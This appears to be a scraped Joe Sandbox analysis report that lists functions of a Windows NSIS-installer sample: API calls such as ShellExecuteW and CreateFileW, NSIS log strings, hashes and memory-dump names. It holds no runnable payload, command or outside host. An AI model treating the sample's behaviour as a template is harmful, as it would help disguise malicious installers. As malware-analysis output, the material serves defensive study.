Instruction ID: 0313947f0097750978ec936bbe46de4fad37e772bc1cb17ec77dd8e30cfa9ece
Opcode Fuzzy Hash: 44661cc85d05d2ece2df72a1dadfaff530150b4f00ec14a98415859341c8c9fb
Instruction Fuzzy Hash: 88518D71900219ABDF10DF65AE44AAF7BACAB00316F14417BF900B7290DB78DF40CBA9

Function 00404F72 Relevance: 10.6, APIs: 7, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: MessageSend$lstrlen$TextVersionWindowlstrcat
String ID:
API String ID: 2740478559-0
Opcode ID: 7bcaf298b14bfcb271399e4538be81cf37b8538d1c197863d88476df1de4366a
Instruction ID: 1d640e6b4f0869ec625b39ce8112f9bd6789598538fb42bade37fe3884716a8e
Opcode Fuzzy Hash: 7bcaf298b14bfcb271399e4538be81cf37b8538d1c197863d88476df1de4366a
Instruction Fuzzy Hash: 3C21B0B1900518BACF119FA5DD84E9EBFB5EF84310F10813AFA04BA291D7798E509F98

Function 00401EB9 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GlobalFree.KERNEL32(005D3510), ref: 00402387

Strings

Pop: stack empty, xrefs: 00401F2C
ConjunctionSku, xrefs: 00401EFB, 00401F00, 00401F1A
Exch: stack < %d elements, xrefs: 00401ED8

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: FreeGloballstrcpyn
String ID: ConjunctionSku$Exch: stack < %d elements$Pop: stack empty
API String ID: 1459762280-3880665044
Opcode ID: 1ca185eeaafbead47595a1cc0f367f8cfd746e673960b0814e4cdcb04772ee17
Instruction ID: ae7cb1f2c63b60d7baa415153617f8c61fd22799b34192a347ea6a0a5f6d971a
Opcode Fuzzy Hash: 1ca185eeaafbead47595a1cc0f367f8cfd746e673960b0814e4cdcb04772ee17
Instruction Fuzzy Hash: 4721D172601105EBE710EB95DD81A6F77A8EF44318B21003FF542F32D1EB7998118AAD

Function 00402713 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

WritePrivateProfileStringW.KERNEL32(?,?,?,00000000), ref: 0040278C

Strings

<RM>, xrefs: 00402713
WriteINIStr: wrote [%s] %s=%s in %s, xrefs: 00402775
ConjunctionSku, xrefs: 00402770

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: PrivateProfileStringWritelstrcpyn
String ID: <RM>$ConjunctionSku$WriteINIStr: wrote [%s] %s=%s in %s
API String ID: 247603264-3858038241
Opcode ID: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction ID: 1675f45263e21dacb3bd3d3c28f4c469aa899418fcec56767b4290250f933745
Opcode Fuzzy Hash: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction Fuzzy Hash: 05014F70D40319BADB10BFA18D859AF7A78AF09304F10403FF11A761E3D7B80A408BAD

Function 004021B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

ShellExecuteW.SHELL32(?,00000000,00000000,00000000,004CB0B0,?), ref: 00402202

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

ExecShell: success ("%s": file:"%s" params:"%s"), xrefs: 00402226
ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d, xrefs: 00402211

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: MessageSendlstrlen$ExecuteShellTextWindowlstrcatwvsprintf
String ID: ExecShell: success ("%s": file:"%s" params:"%s")$ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d
API String ID: 3156913733-2180253247
Opcode ID: 0e9dd1e26526b91e1c41cfd2ad6e78dbbf82426293fff8cc21759efb88a5ec27
Instruction ID: bbc106df3db47d5a89d2587a4e22f40687ed87c50c6518a2742e337a88eb4af1
Opcode Fuzzy Hash: 0e9dd1e26526b91e1c41cfd2ad6e78dbbf82426293fff8cc21759efb88a5ec27
Instruction Fuzzy Hash: E001F7B2B4021476DB2077B69C87F6B2A5CDB41764B20047BF502F20E3E5BD88009139

Function 00405E7F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405E9D
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,004037FE,004D30C0,004D70C8), ref: 00405EB8

Strings

nsa, xrefs: 00405E8C

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction ID: bbb7b3741c82bae03d84fc31e008e00914f4f4b6280f54d22115683b6c602e07
Opcode Fuzzy Hash: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction Fuzzy Hash: 39F0F635600604BBDB00CF55DD05A9FBBBDEF90310F00803BE944E7140E6B09E00C798

Function 00402175 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShowWindow.USER32(00000000,00000000), ref: 0040219F

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

EnableWindow.USER32(00000000,00000000), ref: 004021AA

Strings

HideWindow, xrefs: 0040218D

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: Window$EnableShowlstrlenwvsprintf
String ID: HideWindow
API String ID: 1249568736-780306582
Opcode ID: 0616bcda597e9750e62a76ee812eb00f220ec1a404151e7fe1b3dec3a2ed7f78
Instruction ID: bfe0de145d0e58e27592ef60cc9cda220d4f3e6bacb950e19a0f62fa040dbd34
Opcode Fuzzy Hash: 0616bcda597e9750e62a76ee812eb00f220ec1a404151e7fe1b3dec3a2ed7f78
Instruction Fuzzy Hash: F1E09232A05111DBCB08FBB5A74A5AE76B4EA9532A721007FE143F20D0DABD8D01C62D

Function 004078C5 Relevance: 5.2, APIs: 4, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction ID: 5b61ba0e549d4a34e11b5feda41afe9ae6537485a044c30e59ebd23bda5797f4
Opcode Fuzzy Hash: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction Fuzzy Hash: BCA14771908248DBEF18CF28C8946AD3BB1FB44359F14812AFC56AB280D738E985DF85

Function 00407AC3 Relevance: 5.2, APIs: 4, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction ID: 0868455ade8710e2db62ea7c97591ecaf8a07f5330254cde648c5a00cf1b77b0
Opcode Fuzzy Hash: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction Fuzzy Hash: 30912871908248DBEF14CF18C8947A93BB1FF44359F14812AFC5AAB291D738E985DF89

Function 00407312 Relevance: 5.2, APIs: 4, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction ID: 3981f1dd08afc316d24d9ed5113be2a17ca7da729ed8f25fba603efd3ef4d826
Opcode Fuzzy Hash: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction Fuzzy Hash: 39815931908248DBEF14CF29C8446AE3BB1FF44355F10812AFC66AB291D778E985DF86

Function 00407752 Relevance: 5.2, APIs: 4, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction ID: 01891581271c5a124b16634c3a8992e7a6857e255b4271240234ec945a90a24d
Opcode Fuzzy Hash: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction Fuzzy Hash: 73713571908248DBEF18CF28C894AAD3BF1FB44355F14812AFC56AB291D738E985DF85

Function 00407854 Relevance: 5.2, APIs: 4, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction ID: 94e3b44a92ae0aa4503ed5f8848dd13d39bc4d5c5e61625994f203468061122b
Opcode Fuzzy Hash: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction Fuzzy Hash: 25713671908248DBEF18CF19C894BA93BF1FB44345F10812AFC56AA291C738E985DF86

Function 004077B2 Relevance: 5.2, APIs: 4, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction ID: 61f7b93237898aea062553d5d4b8719da8ac7eccb5076a10c91df3859b53dd49
Opcode Fuzzy Hash: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction Fuzzy Hash: 98612771908248DBEF18CF19C894BAD3BF1FB44345F14812AFC56AA291C738E985DF86

Function 00407C5F Relevance: 5.2, APIs: 4, Instructions: 156memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNELBASE(?), ref: 004073C5
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 004073CE
GlobalFree.KERNELBASE(?), ref: 0040743D
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 00407448

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: Global$AllocFree
String ID:
API String ID: 3394109436-0
Opcode ID: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction ID: da36524f31269fd1e9de8fc6705d7123eeae9c681c0d19372ba3dadca10d6d3f
Opcode Fuzzy Hash: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction Fuzzy Hash: 81513871918248EBEF18CF19C894AAD3BF1FF44345F10812AFC56AA291C738E985DF85

Function 0040139D Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013F6
SendMessageW.USER32(00000402,00000402,00000000), ref: 00401406

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction ID: d71d45502f518029c3ce7990b7c8d381ac94a1bb539c673c2af025244294d997
Opcode Fuzzy Hash: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction Fuzzy Hash: 96F0F471A10220DFD7555B74DD04B273699AB80361F24463BF911F62F1E6B8DC528B4E

Function 00405E50 Relevance: 3.0, APIs: 2, Instructions: 15fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction ID: fe2e31f24f36ecb58ba6038de6e4569557e5a61990f2f31681ab57118d472e11
Opcode Fuzzy Hash: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction Fuzzy Hash: BCD09E71554202EFEF098F60DE1AF6EBBA2FB94B00F11852CB292550F0DAB25819DB15

Function 00405E30 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00406E81,?,?,?), ref: 00405E34
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405E47

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction ID: a99f375bd2b1051765f890e1d94d2f722c1bb1ba0a12d38356d8610c0186b9c0
Opcode Fuzzy Hash: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction Fuzzy Hash: 84C01272404800EAC6000B34DF0881A7B62AB90330B268B39B0BAE00F0CB3488A99A18

